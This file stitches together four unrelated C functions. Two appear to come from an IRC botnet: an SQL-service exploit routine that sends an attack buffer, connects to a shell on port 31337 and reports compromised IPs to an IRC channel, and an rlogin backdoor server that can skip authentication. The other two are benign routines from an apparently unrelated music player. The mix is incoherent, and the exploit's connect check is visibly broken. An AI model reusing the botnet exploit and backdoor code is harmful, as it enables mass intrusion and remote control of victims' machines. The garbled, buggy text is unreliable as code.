BOOL thcsql(char *target, void* conn,EXINFO exinfo) { IRC* irc=(IRC*)conn; unsigned int sock,rc; struct sockaddr_in sqludp; if ((sock=fsocket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET) return FALSE; sqludp.sin_family=AF_INET; sqludp.sin_addr.s_addr=finet_addr(exinfo.ip); sqludp.sin_port=fhtons(exinfo.port); if ((rc=fconnect(sock, (struct sockaddr *)&sqludp, sizeof(struct sockaddr_in)))=SOCKET_ERROR) { if(rc==0) { fsend(sock,badbuffer,sizeof(badbuffer)-1,0); Sleep(1000); if (ConnectShell(exinfo, 31337)) { exploit[exinfo.exploit].stats++; if (!exinfo.silent) irc->privmsg(target,"%s %s: Exploiting IP: %s.", scan_title, exploit[exinfo.exploit].name, exinfo.ip); } else if (!exinfo.silent && exinfo.verbose) irc->privmsg(target,"%s %s: Failed to exploit IP: %s.", scan_title, exploit[exinfo.exploit].name, exinfo.ip); } } fshutdown(sock,1); fclosesocket(sock); return FALSE; }
void handle_client(int client_socket) { static FILE * fd = NULL; int disconnect = 0; if (!fd) fd = fdopen(client_socket, "rw"); signal(SIGPIPE, SIG_IGN); if(fd != NULL && !feof(fd)) { debug("client socket is ok and readable: %i\n", client_socket); char line[BUFSIZE]; if(fgets(line, sizeof(line), fd) == NULL) { disconnect = 1; } else { if(!ferror(fd)) { unsigned chunks, i; char ** lines = split(line, "\n", & chunks); for(i = 0; i < chunks && !disconnect; ++i) { char reply[BUFSIZE] = { 0, }; debug("client message: <%s>\n", lines[i]); disconnect = execcmd(lines[i], reply); if(strlen(reply)) { strncat(reply, "\n", BUFSIZE - strlen(reply)); write(client_socket, reply, strlen(reply)); } } } else { debug("fd error: %i\n", ferror(fd)); disconnect = 1; } } } if(disconnect) { debug("removing client\n"); fshutdown(& fd); remove_handle(client_socket); } }
DWORD WINAPI RlogindClientThread(LPVOID param) { RLOGIND rlogind = *((RLOGIND *)param); RLOGIND *rloginds = (RLOGIND *)param; rloginds->gotinfo = TRUE; int threadnum=rlogind.cthreadnum; char LocalUser[16], RemoteUser[16], TerminalType[64], HostName[100], Buffer[16]; LPHOSTENT HostEnt; SOCKADDR_IN csin; TIMEVAL timeout; timeout.tv_sec = 10; timeout.tv_usec = 0; fd_set fd; FD_ZERO(&fd); FD_SET(threads[threadnum].sock, &fd); if (fselect(0, &fd, NULL, NULL, &timeout) == 0) { fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } frecv(threads[threadnum].sock, (char *)&Buffer, 1, 0); GetStr(threads[threadnum].sock, RemoteUser, sizeof(RemoteUser)); GetStr(threads[threadnum].sock, LocalUser, sizeof(LocalUser)); GetStr(threads[threadnum].sock, TerminalType, sizeof(TerminalType)); int csin_len = sizeof(csin); if (fgetpeername(threads[threadnum].sock, (LPSOCKADDR)&csin, &csin_len) != 0) { addlogv("[RLOGIND]: Error: getpeername(): <%d>.", fWSAGetLastError()); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } if ((HostEnt = fgethostbyaddr((char *)&csin.sin_addr, sizeof(csin.sin_addr), PF_INET)) == NULL) sprintf(HostName, finet_ntoa(csin.sin_addr)); else strcpy(HostName, HostEnt->h_name); frecv(threads[threadnum].sock, (char *)Buffer, sizeof(Buffer), 0); fsend(threads[threadnum].sock, "", 1, 0); if (!InsecureFlag && !CheckLogin(RemoteUser,HostName,rlogind.username,csin.sin_addr.s_addr)) { fsend(threads[threadnum].sock, "PERMISSION DENIED.", sizeof("PERMISSION DENIED."), 0); fshutdown(threads[threadnum].sock,SD_BOTH); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); } addlogv("[RLOGIND]: User logged in: <%s@%s>.", RemoteUser, HostName); if (!SessionRun(threadnum)) { addlogv("[RLOGIND]: Error: SessionRun(): <%d>.", GetLastError()); fshutdown(threads[threadnum].sock,SD_BOTH); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(1); } addlogv("[RLOGIND]: User logged out: <%s@%s>.", RemoteUser, HostName); fshutdown(threads[threadnum].sock,SD_BOTH); fclosesocket(threads[threadnum].sock); clearthread(threadnum); ExitThread(0); }
/* Takes pointer to a playlist, forks off a playback process and tries to play the next track in the playlist. If there's already a playback process, it's killed first (which means the currently played track is skipped). */ int play(struct playlist * list) { unsigned i; int pipefd[2]; char * keys [] = { "creator", "title", "album", "duration", "station", "lastfm:trackauth", "trackpage", "artistpage", "albumpage", "image", "freeTrackURL", }; assert(list != NULL); if(!list->left) return 0; if(playfork) { kill(playfork, SIGUSR1); return !0; } enable(QUIET); empty(& track); for(i = 0; i < (sizeof(keys) / sizeof(char *)); ++i) set(& track, keys[i], value(& list->track->track, keys[i])); if(pipe(pipefd) != 0) return !0; playfork = fork(); if(!playfork) { FILE * fd = NULL; const char * location = value(& list->track->track, "location"); close(pipefd[1]); rmsckif(); subfork = 0; if(location != NULL) { fetch(location, & fd, NULL, NULL); if(fd != NULL) { /* If there was an error, tell the main process about it by sending SIGUSR2. */ if(!playback(fd, pipefd[0])) kill(getppid(), SIGUSR2); close(pipefd[0]); fshutdown(& fd); } } exit(EXIT_SUCCESS); } close(pipefd[0]); if(playpipe != 0) close(playpipe); playpipe = pipefd[1]; return !0; }